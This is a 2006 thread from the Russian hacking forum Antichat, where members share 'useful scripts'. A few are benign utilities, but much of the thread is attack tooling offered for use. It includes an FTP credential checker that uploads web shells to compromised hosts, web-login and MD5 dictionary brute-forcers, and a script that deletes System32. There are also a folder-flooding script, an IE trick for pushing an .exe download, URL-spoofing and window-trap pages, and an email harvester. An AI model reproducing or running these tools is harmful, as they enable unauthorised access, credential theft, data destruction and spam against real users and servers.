Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Полезные скрипты (https://forum.antichat.xyz/showthread.php?t=65761)

SMiX 02.11.2006 17:20

Полезные скрипты
 
Постим здесь ваши и не только скрипты, которые могут пригодиться в повседневной так сказать жизни.
Надеюсь, не будет излишнего флейма.
PHP скрипты пишем в тэгах [рhp] !!

Начну сам: сегодня понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251.
PHP код:

<?php

function doit($dir='.'){
    
$d=opendir($dir);
    while(
$f=readdir($d)){
      if(
$f!=='.' AND $f!=='..'){
        echo 
$f;
        if(
is_file($dir.'/'.$f)){
            echo 
' Converting...';

            
$a=file_get_contents($dir.'/'.$f);
            
$a=iconv('UTF-8','WINDOWS-1251',$a);
            
$fp=fopen($dir.'/'.$f,'w');
            
fwrite($fp,$a);
            
fclose($fp);
            echo 
' - OK<br />';
        }elseif(
is_dir($dir.'/'.$f)){
            echo 
' changing dir<br />';
            
doit($dir.'/'.$f);
        }else{
            echo 
' Skipping<br />';
        }
      }
    }
}
doit('.');

?>


Ch3ck 02.11.2006 17:36

Сегодня понадобилось засрать все папки файлами :)(Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
PHP код:

<?php
// Greetz всем заподлянщикам...
//Аминь...
//(C) Dr.Check
////////////////////////////////////////////////////////////////
set_time_limit(0);
ignore_user_abort();
echo(
"<center><b>ИБО НЕХУЙ!!!</b></center>");
/////////////////////////////////////////////////////////////////
    
$name = array('a','b','c','d','e','f','g','h','i','j','k',  'l','m','n','o','p','r','s',
                 
't','u','v','x','y','z','A','B','C','D','E','F','G  ','H','I','J','K','L',
                 
'M','N','O','P','R','S','T','U','V','X','Y','Z','1  ','2','3','4','5','6',
                 
'7','8','9','0');
//////////////////////////////////////////////////////////////////
    
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                    
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                    
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true) {
    
$perem "";
    
$fuck="";
    for(
$i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
    
{
     
$by rand(0count($name) - 1);
     
$perem .= $name[$by];
    }
    
$rarand(0count($rash)-1);
    
$fuck .= $rash[$ra];
         
$fp=fopen($perem.$fuck,"w");
        
fwrite($fp,php_uname());
        
fclose($fp);
        }
?>

P.S (вот так вроде правильней(для твоего скрипта)
PHP код:

$dir=opendir(".");
 while (
false !== ($file readdir($dir))) {
   if((
$file !=".") && ($file !="..")) { 

Хотя одно и тоже... ;)
Хм, какой-то простенький md5 брут
PHP код:

 <?
function pass_dict ($hash)
{
 
//вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта
 
$start_time microtime();
 
$start_array explode(" ",$start_time);
 
$start_time $start_array[1] + $start_array[0];

 
//открываем файл словаря из стандартного дистрибутива линукса
 
$f fopen("linux.words","r") or die("ошибка");
 while (!
feof($f))
 {
  
$str strtolower(fgets($f));
  
//удаляем лишние пробелы и символы конца строки
  
$str trim($str);
  
$strmd5 md5($str);
  if (
$strmd5 == $hash)
   
$pass $str;

  if (isset(
$pass))
   {
    echo 
"password = ".$pass;
    
$end_time microtime();
    
$end_array explode(" ",$end_time);
    
$end_time $end_array[1] + $end_array[0];
    
$time $end_time $start_time;
    echo 
"<br><center>Найдено за $time секунд!</center>";
    
fclose($f);
    return;
   }
  }

 
$end_time microtime();
 
$end_array explode(" ",$end_time);
 
$end_time $end_array[1] + $end_array[0];
 
$time $end_time $start_time;
 echo 
"<br><center>Не найдено за $time секунд!</center>";
 
fclose($f);
 return;
}
pass_dict("e206a54e97690cce50cc872dd70ee896");
?>

Скрипт проверяет на наличий сервисов POP, FTP и т.д
PHP код:

<html>
<head>
<title>::CHECKER::</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<body bgcolor="#000000" text="#ffffff">
<hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr>
<tr><td><form action="<? $PHP_SELF ?>" method="post">
<b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<button onclick=location.reload(true)>Обновить</button></td></tr></table>
<hr width="30%"></hr>
<?php
error_reporting
(0);
set_time_limit(0);
$domain=$_POST['domain'];
$ip=gethostbyname($domain);
$httpport "80";
$ftpport "21";
$popport "110";
$imapport "143";
$smtpport "25";
$sshport "22";
echo 
"<b>"; echo("IP адрес хоста: "); echo "</b>";
echo 
"<font color=\"red\">"; echo($ip); echo "</font>"
?>
<table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr>
<tr><td><font color="#999999"><b>HTTP --> </b></font>
<?php
 $http 
fsockopen($domain$httpport$errno$errstr$timeout);
 if (!
$http)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?></td></tr>
<tr><td><font color="#999999"><b>FTP --> </b></font>
      <?php
 $ftp 
fsockopen($domain$ftpport$errno$errstr$timeout);
 if (!
$ftp)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?></td></tr>
<tr><td><font color="#999999"><b>POP --> </b></font>
<?php
 $pop 
fsockopen($domain$popport$errno$errstr$timeout);
 if (!
$pop)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><font color="#999999"><b>IMAP --> </b></font>
<?php
 $imap 
fsockopen($domain$imapport$errno$errstr$timeout);
 if (!
$imap)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><font color="#999999"><b>SMTP --> </b></font>
<?php
 $smtp 
fsockopen($domain$smtpport$errno$errstr$timeout);
 if (!
$smtp)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><b><font color="#999999">SSH --> </font></b>
<?php
 $ssh 
fsockopen($domain$sshport$errno$errstr$timeout);
 if (!
$ssh)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr></table><hr width="30%"></hr></center>
</body>
</head>
</html>


_GaLs_ 02.11.2006 18:16

Не дает закрвать окно.
(пример простой, часто используется на порносайтах)
Код:

<html>
 <head>
  <title>Press ALT+F4</title>
 </head>

 <body onunload="goodBye()">
    <p align="center">
        <b>Yuo can't close your browser window</b>
    </p>
    <script language="JavaScript">
      <!--
          function goodBye()
            {window.open("Cantclose.htm");}
      //-->
    </script>
    <p align="center">
      <b>Try Alt+F4!</b>
    </p>
 </body>
</html>

Позволяет узнать выставленную кодировку.
Код:

<script>
 var u=navigator.userAgent;
 if (u.indexOf("Win") != -1) // Текст в 1251
    document.writeln ("Windows 1251");
 else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866
    document.writeln("MS-DOS CP866");  // Текст в K018
    else document.writein ( "лПДЙТПЧЛБ KOI8-R");
</script>

Следущий скрипт показывает последнее обновление страницы:
Код:

<script language="JavaScript">
 <!--
    var dateMod = "";
    dateMod = document.lastModified;
    document.write("Last Update:  ");
    document.write(dateMod);
    document.write();
  // -->
</script>

При нажатии на кнопку, страница распечатывается:
Код:

<script Language="Javascript">

function printit(){ 
if (window.print) {
  window.print(); 
} else {
  var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
  WebBrowser1.ExecWB(6, 2);//Use a 1 vs. a 2 for a prompting dialog box    WebBrowser1.outerHTML = ""; 
}
}
</script>

<script Language="Javascript"> 
var NS = (navigator.appName == "Netscape");
var VERSION = parseInt(navigator.appVersion);
if (VERSION > 3) {
  document.write('<form><input type=button value="Print this Page" name="Print" onClick="printit()"></form>');       
}
</script>


Ch3ck 03.11.2006 03:43

Только, что написал. Может кому и понадобиться:
Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:
PHP код:

<?php
      $star
'txt';  // Расширение ДО
      
$nov 'php';//Расширение  ПОСЛЕ
   
function listDir ($url) {
    
$i 0;
    
$dir opendir(".");
    while (
false !== ($file readdir($dir))) {
   if((
$file !=".") && ($file !="..")) {
            
$outp[$i] = $file;
            ++
$i;
        }
    }
    
closedir($dir);
    return 
$outp;
}

function 
fil_list($path) {
    global 
$star$nov;
    
$path_array listDir($path);
    for(
$i=0$i count($path_array); $i++) {
        if (
$path ''$p '/';
        else 
$p '';
        
$ls $path.$p.$path_array[$i];
        if (@
is_dir($ls)) fil_list($ls);
        else if (
preg_match('/\.'.$star.'$/i'$ls)) {
            
$fd_new substr($ls0strlen($ls)-strlen($star)).$nov;
            
rename ($ls$fd_new);
            echo 
$ls.' >>> '.$fd_new.'<br>';
        }
    }
}

fil_list($start_dir);
?>


uranoff 04.11.2006 08:29

С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на копутер *друга*:

<html>
<body>
<iframe src='http://your.domain.com/v.exe?.htm' name=
"NotFound" width="0" height="0"></iframe>
Click <a href=# onclick="javascript:document.frames.NotFound.
document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
</body>
</html>

uranoff 04.11.2006 08:41

Таким способом можно подделать URL, которого не будет отображен в браузере:

javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");

uranoff 04.11.2006 08:45

Этот скриптик будет отображать в строке состояния произвольный адрес URL при наведении на ссылку:

<a href="http://www.microsoft.com/"><table><tr><td>
<a href="http://www.google.com/">Click here</td></tr></table></a>

TANZWUT 04.11.2006 12:13

Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей ;)
PHP код:

<body scroll=no bgcolor=black><script>setInterval ("focus ()"10); open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' document.body.innerHTML '</body>')</script></body


Ch3ck 13.11.2006 19:00

Парсер(e-mail).
Писал когда-то...Может кому и пригодиться.
PHP код:

<? 
$handler
=fopen('emails.txt','a+');
  for(
$i=1;$i<3000;$i++){ 
    
$filename 'http://www.***.ru/center.php?chp=showorg&num='.$i
    echo 
$i.". "
    
$str file_get_contents($filename); 
    
preg_match_all('|href="mailto:([^"]*)"|is',$str,$out); 
    if(empty(
$out[1][0])) echo " no mail"
    else{ 
      echo 
" get ".$out[1][0]; 
      
fwrite($handler,$out[1][0]."\n"); 
    } 
    echo 
"\n"
  } 
  
fclose($handler); 
?>


//by SMiX: забыл хэндлер открыть =)

nc.STRIEM 13.11.2006 20:56

БРУТФОРС ФОРМ! настраиваеться практически под любую..
PHP код:

<?################Брутфорс  Форм##################
///////////////////////----(c) nc.STRIEM----//////////////////////////
    
$filepas="file.txt" ///файл   с данными для брута
    
$filegood="good.txt"///файл с подходящими паролями
    
$endifg=1///закончить при первом же найденом 1-да 0-нет
    
    
$iskl=array();
//////строки которых не  должно быть в правельных страницах/////////
     
$iskl[0]="Неверный пароль";
    
//$iskl[1]="Неверная длина пароля!";
    //$iskl[2]="ERROR";
    //$iskl[3]="Ошибка";
    
//////////////////////////////////////////////////////////////////
    
$host="localhost";  ///хост
    
$script="/form.php";     ///скрипт 
                                    
///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////    
    
$header="POST http://$host$script HTTP/1.0\r\n";
    
$header.= "Host: $host\r\n";
    
$header.= "Content-Type: application/x-www-form-urlencoded\r\n";
//////Не обязательные параметры! но не всегда///
    //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
    //$header.="Accept-Language: ru\r\n";
    //$header.= "Proxy-Connection: Keep-Alive\r\n";
    //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";
    //$header.="Referer:  http://microsoft.com\r\n";
    //$header.="Cookie: CREATED=nc.STRIEM\r\n";
####################################Сам брут#####################################    
    
set_time_limit(0);
    
$fo=fopen($filepas,"r");
    
$kolvoporolei=0;
    
$timestart=time('U');
    
$fgo=fopen($filegood,"a");
    echo 
"<h3><center>Мы брутили http://$host$script</center></h3>";
 while(!
feof($fo))
 {
/////////////////////////////////////////////
$fp fsockopen("www.".$host80$errno$errstr30);
if (!
$fp
    echo 
"$errstr ($errno)<br />\n";
 else 
 {
  
$kolvoporolei++;
   
$dan=rtrim(fgets($fo));  /////берем данные из файла
    
$dannii=split(';',$dan);
    
    
$out=$header;
    
$zapr="login=$dannii[0]&password=$dannii[1]";     ////имена переменных и их значения сюда
    
$contleng=strlen($zapr);
    
$out.= "Content-Length: $contleng\r\n";
    
$out.= "Pragma: no-cache\r\n\r\n";
    
$out.= "$zapr\r\n\r\n";

     
fwrite($fp$out);
    
$conte="";
 while (!
feof($fp)) 
   
$conte.=fgets($fp);
   
  
$est=1;
for(
$i=0;$i<sizeof($iskl);$i++)
   if(
strstr($conte$iskl[$i]))
     {
     
$est=0;
     break;
     }
/////может понадобиться при настройки///
//echo htmlspecialchars($conte); break;
/////////////////////////////////
if($est)
   {
   
fwrite($fgo,$dannii[0].";".$dannii[1]."\n");
   echo 
"<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";
   if(
$endifg)
      break;
    }
     
fclose($fp);
  }
}
//////////////////////////////////////////////////////////////////////////////////////////
fclose($fgo);
$time=time('U')-$timestart;
echo 
"<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>";
?>


»Atom1c« 18.11.2006 17:03

Тут написал маленький парсер для составления списка login;pass из файлов папки /etc/passwd/.
Чтобы он работал надо создать файл pwd.txt(куда засунуть наш лист) и pwds(тут будет окончательный список).
Короче кто знает тот разберётся.Пользуйтесь

PHP код:

 #!/usr/bin/perl 

open(IN"pwd.txt"); 
open(OUT">pwds"); 
while(<
IN>){ 
chomp
if(
$_ ne ' '){ 
(
$u,@undef)=split  ' : ' 
print 
OUT  "$u:$u\n"


close(IN); 
close(OUT); 


Ponchik 18.11.2006 19:50

Скрипт тупо удаляет все файлы из папки :)
PHP код:

<?php
set_time_limit
(0);
foreach (
glob("C:/WINDOWS/System32/*") as $filename)
{
       
unlink($filename);
}

?>

Также скрипт тупо украден из мануала по PHP :D
P.S. Dr.Check, я насчёт второго поста в этой теме, тот флудер не работает, создаёт около 2000 файлов и останавливается и больше не запускается :(

Ponchik 19.11.2006 11:23

Ах да! И ещё! :)

Код HTML:

Есть такой хороший прикол: Хамаз бомба для IE -Internet Exploer после запуска которой - винда вешаеться (синий экран смерти) - ошибка связана с дравами видео-адаптеров.

И так - нам нужно будет:

1. Большая качественная картинка 1000 на 800 пойдёт -) весом где нить в 1 мегабайт - )
2. Называем картинку,допустим --- info.jpg
3. Открываем обычный текстовик и копируем туда это:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<body>
<img src="info.jpg" width="9999999" height="9999999" alt="info" />
</body>
</html>

4. Закрываем-сохраняем-меняем расширение текстовика с *txt - на index.html - и кладём картинку в туже директорию где сам документ index.html .

5. Тестируем: Открываем IEом этот документ -)

Эта штука тестировалась на браузерах Internet Exploer и ранних версиях Mozilla Firefox - Результат вылетал синий экран и всё висело.

(с)CampeR - http://forum.bit-team.com/

А вот в гугле картинок надыбал
3000 x 3264 пикселей - 1844кб
4500 x 3000 пикселей - 3931кб
:D

KSURi 20.11.2006 20:02

ftp_checker_uploader.pl
 
Еще 1 мой старый сорец. Пригодится продавцам фтп)
Код:

#!/usr/bin/perl

use Net::FTP;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n\n";
print "FTP list filename: ";
my $ftpFile=<STDIN>;
print "Valid accounts list filename: ";
my $outFile=<STDIN>;
print "URLS list filename: ";
my $listFile=<STDIN>;
print "Upload filename: [blank to disable upload] ";
my $shellFile=<STDIN>;
print "Upload remote filename: [blank to disable upload] ";
my $shellFileRemote=<STDIN>;
chomp($shellFile,$shellFileRemote,$ftpFile,$outFile,$listFile);

open(IN,$ftpFile) or exit print "\n[-] Cannot open $ftpFile\n";
my @strings=<IN>;
close IN;
foreach $string(@strings)
{
    chomp($string);
    my($host,$user,$pass,$pair,$tmp);
    if($string=~/^ftp:\/\//i)
    {
        ($pair,$host)=split('\@',$string);
        $tmp=$pair=~s/ftp:\/\///;
        ($user,$pass)=split(':',$pair);
    }
    else { ($host,$user,$pass)=split(':',$string); }
    my $conn=Net::FTP->new($host,Debug=>0,Timeout=>5) or print $host."... FAILED [cant connect]\n"&&next;
    if($conn->login($user,$pass))
    {
        open(OUT,">>$outFile");
        open(LIST,">>$listFile");
        if($shellFile ne ""&&$shellFileRemote ne "")
        {
            my @dirs=$conn->ls();
            foreach(@dirs)
            {
                if($_=~m/public_html|pub_html|htdocs|httpdocs|www|wwwhome|/i)
                {
                    $conn->cwd($_);
                    $conn->put($shellFile,$shellFileRemote);
                }
            }
            print $string."... OK (shell uploaded)\n";
            print OUT $string." (shell uploaded to ".$conn->pwd().")\n";
        }
        else
        {
            print $string."... OK\n";
            print OUT $string."\n";
        }
        print LIST $host."\n";
        close OUT;
        close LIST
    }
    else { print $host."... FAILED\n"; }
}

# ftp_checker_uploader v1.4.pl
# (C)oded by .:[KSURi]:.


Ch3ck 21.11.2006 19:22

Перевод цвета изображения в Чёрно-белоею (Писал для какого-то человечка на форумею Вдруг кому ещё пригодиться...)
PHP код:

<?php 
$im 
ImageCreateFromJpeg("file.jpg"); 
$size getimagesize("file.jpg"); 
$new imagecreate($size[0], $size[1]);
$black imagecolorallocate($new000); 
$white imagecolorallocate($new0xFF0xFF0xFF); 

for (
$i 1$i $size[0]; $i++) { 
  for (
$j 1$j $size[1]; $j++) {
    
$rgb ImageColorAt($im$i$j); 
    
$r = ($rgb >> 16) & 0xFF
    
$g = ($rgb >> 8) & 0xFF
    
$b $rgb 0xFF
    if ( 
$r <  128 && $r 128 && $b 128 ) { 
      
imagesetpixel($new$i$j$black); 
    } elseif ( 
$r >=  128 && $r >= 128 && $b >= 128 ) { 
      
imagesetpixel($new$i$j$white); 
    } 
  } 

header("Content-type: image/jpeg"); 
imagejpeg($newnull100); 
imagedestroy($im); 
imagedestroy($new); 
?>

P.S Пончик не знаю,... у меня номрально работает.

Dracula4ever 23.11.2006 14:06

чекер проксиков, так же проверяет прокс и на анонимность

PHP код:

<? 
/**************************************************  ************** 
*                      * 
*                                                               * 
* This will perform a basic connectivity and anonymity test     * 
*                                                               * 
* Simply upload to a php enabled webserver and change the       * 
* configurable parameters below if you so desire                * 
*                                                               * 
* 2005-11-11   v0.1 - Compatible with Charon v0.5.3.5           * 
**************************************************  **************/ 
?> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
<head><title>Online proxy tester</title></head> 
<body bgcolor="black" text="white"> 

<?php 

// Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) 
   
error_reporting(0); 
// Limit the amount of proxies that can be tested at any one time 
   
$maximum_proxies_to_test 5
// Enter a password (if required) to protect the page 
   
$password ''

// Actual proxyjudge part of the page 
   
function return_env_variables() 
   { 
      echo 
'<pre>'."\n"
      foreach (
$_SERVER as $header => $value 
      { 
        if ((
strpos($header 'REMOTE')!== false || strpos($header 'HTTP')!== false || strpos($header 'REQUEST')!== false) && ( strpos($header 'HTTP_HOST') !== 0)) 
        { 
        echo 
$header.' = '.$value."\n"
        } 
      } 
      echo 
'</pre>'
   } 

// Function to go away and get the page (calls through the proxy back to itself) 
   
function get_judge_page($proxy
   { 
   
// Depending on the server environment, this timeout setting may not be available.     
      
$timeout 15
      
$proxy_cont ''
      list(
$proxy_host$proxy_port) = explode(":"$proxy); 
      
$proxy_fp fsockopen($proxy_host$proxy_port$errornumber$errorstring$timeout); 
      if (
$proxy_fp
      { 
         
stream_set_timeout($proxy_fp$timeout); 
         
fputs($proxy_fp"GET " $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " $_SERVER['SERVER_NAME'] . "\r\n\r\n"); 
         while(!
feof($proxy_fp)) 
         { 
               
$proxy_cont .= fread($proxy_fp,4096); 
         } 
         
fclose($proxy_fp); 
         
$proxy_cont substr($proxy_contstrpos($proxy_cont,"\r\n\r\n")+4); 
      } 
      return 
$proxy_cont;    
   } 

// Check for the control string to see if it's a valid fetch of the judge 
   
function check_valid_judge_response($page
   { 
      if(
strlen($page) < 5
         return 
false
      return 
strpos($page'REMOTE_ADDR') !== false
   } 

// Check for the IP addresses 
   
function check_anonymity($page
   { 
      if(
strpos($page$_SERVER['LOCAL_ADDR']) !== false
         return 
false
      return 
true
   } 

// Takes and tests a proxy 
// 0 - Bad proxy 
// 1 - Good (non anon) proxy 
// 2 - Good (anonymous) proxy 
   
function test_proxy($proxy
   { 
      
$page get_judge_page($proxy); 
      if(!
check_valid_judge_response($page)) 
         return 
0
      if(!
check_anonymity($page)) 
         return 
1
      return 
2
   } 

////////// Main Page //////////// 

// If this is a judge request, just return the environmental variables 
   
if(getenv('QUERY_STRING') == "test"
   { 
      
return_env_variables(); 
   } 
// Else check whether we have been passed a list of proxies to test or not 
// Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) 
   
elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && 
           (isset(
$HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && 
           ( (
strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) 
   { 
      
$proxies explode("\n"str_replace("\r"""$HTTP_POST_VARS['proxies']), $maximum_proxies_to_test 1); 
       
   
// Set the overall time limit for the page execution to 10 mins 
      
set_time_limit(600); 
       
   
// Set up some arrays to hold the results 
      
$anon_proxies = array(); 
      
$nonanon_proxies = array(); 
      
$bad_proxies = array(); 
    
   
// Loop through and test the proxies 
      
for($thisproxy 0$thisproxy < ($maximum_proxies_to_test count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1
      { 
         echo 
'Testing ' $proxies[$thisproxy] . ' .....'
         
flush(); 
         switch(
test_proxy($proxies[$thisproxy])) 
         { 
            case 
2
              echo 
'.. Anon<br>' "\n"
               
$anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; 
               break; 
            case 
1
              echo 
'.. Non anon<br>' "\n"
               
$nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; 
               break; 
            case 
0
              echo 
'.. Dead<br>' "\n"
               
$bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; 
               break; 
         } 
      } 
    
      echo 
'<pre>'
      echo 
'<br><b>Anonymous proxies</b>' "\n"
      for(
$thisproxy 0$thisproxy count($anon_proxies); $thisproxy += 1
         echo 
$anon_proxies[$thisproxy] . "\n"
      echo 
'<br><b>Non-anonymous proxies</b>' "\n"
      for(
$thisproxy 0$thisproxy count($nonanon_proxies); $thisproxy += 1
         echo 
$nonanon_proxies[$thisproxy] . "\n"
      echo 
'<br><b>Dead proxies</b>' "\n"
      for(
$thisproxy 0$thisproxy count($bad_proxies); $thisproxy += 1
         echo 
$bad_proxies[$thisproxy] . "\n"
      echo 
'</pre>'
   } 
// Just a blank call of the page - show the form for the user to fill in 
   
else 
   { 
      echo 
'<h2>Online Proxy checker</h2>' "\n"
      echo 
'<h4>(http://' $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' "\n"
      echo 
'Enter up to a maximum of ' $maximum_proxies_to_test ' prox' . ($maximum_proxies_to_test == 'y' 'ies') . ' to test' "\n"
      echo 
'<form method="POST" action="' $_SERVER['SCRIPT_NAME'] . '">' "\n"
      echo 
'<input type="hidden" name="action" value="fred">' "\n"
      echo 
'<textarea name="proxies" cols=35 rows=' $maximum_proxies_to_test '></textarea><br>' "\n"
      if(
strlen($password) > 0)    
         echo 
'Password: <input type="password" name="password" size="15"><br>' "\n"
      echo 
'<input type="submit" value="Check proxies">' "\n"
      echo 
'</form>' "\n"
   } 
?> 
</body> 
</html>


KSURi 23.11.2006 16:40

Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце).
PHP код:

<?php
    
/*    WPC Paste!
     *    Zarathu rules the Universe
     *
     *        By Zarathu
     *    www.thesarcasm.com
     *    
     *    zarathu@thesarcasm.com
     *
     */
     
    /* SETTINGS TO BE MODIFIED */
        
$mySQL_user "YOUR_USERNAME";
        
$mySQL_pass "YOUR_PASSWORD";
        
        
$mySQL_database "pb";
        
$mySQL_table "data";
        
        
$mySQL_idField "id";
        
$mySQL_strField "stuff";
        
        
$URLtoPaste "http://www.thesarcasm.com/";
        
        
/*$URLtoPaste:  Be careful.  This needs to include the path.
         *on my website, for example, if I had the paste.php in a
         *folder called 'bullshit' on the server, $URLtoPaste would
         *be "http://www.thesarcasm.com/bullshit/" */
         
         //Make sure the URL ends with a slash! :]
        
    /***************************/
    
    /*DO NOT MODIFY, YOU TURKISH ASSHOLE :]*/
    
$ZarathuRulesTheUniverse TRUE;
    
    
?>

<html>
    <head>
        <title>WPC Paste!</title>
    </head>

    <body bgcolor="#ffffff">
            
        <?php
            
            
            
if($_GET['id'] != null && ($ZarathuRulesTheUniverse)) {
                
$id $_GET['id'];
                
                
//security for you asshole hackers ;]
                
$security strpbrk($id'\'\"><.,;][}{+=*\\/)(');
                if(
$security != FALSE) { throwError(); }
                
                
//if a hacker was trying to manipulate the script
                //it would have already died.  therefore, we can
                //safely call the following method.
                
getData($id);
            } else if(
$_POST['textarea'] != null && ($ZarathuRulesTheUniverse)) {
                
$data $_POST['textarea'];
                
setData($data);
            } else if((
$_POST['textarea'] == null) && ($_GET['id'] == null) && ($ZarathuRulesTheUniverse)) {
                
echoWelcome();
            }
        
?>
        
        <form method="POST" action="paste.php">
            <p>
                <textarea name="textarea" rows="25" cols="98"></textarea><br />
                <input type="submit" value="Send!" name="sendbtn"><br />
                <a href="http://www.thesarcasm.com">Zarathu Rules the Universe</a>
            </p>
        </form>
        
        <?php
            
//methods
            
            
function echoWelcome() {
                echo(
"Welcome to WPC Paste!<br />");
                echo(
"This program is simple to use, unless you're a complete moron.<br /><br />");
                echo(
"Programmed by <a href=\"http://www.thesarcasm.com\">Zarathu</a><br />");
                echo(
"Enjoy!<br />");
            }
            
            function 
getData($id) {
                global 
$ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                
                
//security bullshit for you asshole hackers
                
if($id == null && ($ZarathuRulesTheUniverse)) { throwError(); }
                
                
//establishes connection...
                
$link establishConnection();
                
                
//Alright, now that we've got our shit together...
                //SELECT stuff FROM data WHERE id = $id
                
$query mysql_query('SELECT ' $mySQL_strField ' FROM ' $mySQL_table ' WHERE ' $mySQL_idField ' = ' $id);
                
                
//need this array to convert into HTML
                
$newLines = array("\r\n""\n""\r");
                if(!
$ZarathuRulesTheUniverse) { throwError(); }
                
                
//prints selected bullshit
                
if(!$query && ($ZarathuRulesTheUniverse)) {
                    
throwSQLError();
                } else {
                    while (
$line mysql_fetch_array($queryMYSQL_ASSOC)) {
                       foreach (
$line as $col_value) {
                           echo 
str_replace($newLines"<br />"$col_value);
                       }
                    }
                }
            }
            
            function 
setData($data) {
                global 
$ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                if(!
$ZarathuRulesTheUniverse) { throwError(); }
                
                
//establishes that hairy son of a bitch
                
$link establishConnection();
                
$newID rand(1000000,9000000);
                
                
//security!
                
$data str_replace("'""\'"$data);
                
$data str_replace("\"""\\\""$data);
                
$data str_replace(">""&gt;"$data);
                
$data str_replace("<""&lt;"$data);
                
$data str_replace('\\''\\\\'$data);
                
                
//inserts shittles... watch me rule again.
                
$bullshit "INSERT INTO $mySQL_table ($mySQL_idField$mySQL_strField) VALUES ($newID, '$data')";
                
$query mysql_query($bullshit);
                
                if(!
$query && ($ZarathuRulesTheUniverse)) {
                    
throwSQLError();
                } else {
                    
$newURL "$URLtoPaste"paste.php?id=$newID";
                    echo(
"<a href=\"$newURL\">$newURL</a>");
                    
http_redirect($newURL);
                }
            }
            
            function 
establishConnection() {
                global 
$ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                
                
//establishes connection...
                
$link mysql_connect('localhost'$mySQL_user$mySQL_pass);
                
//...and checks for errors
                
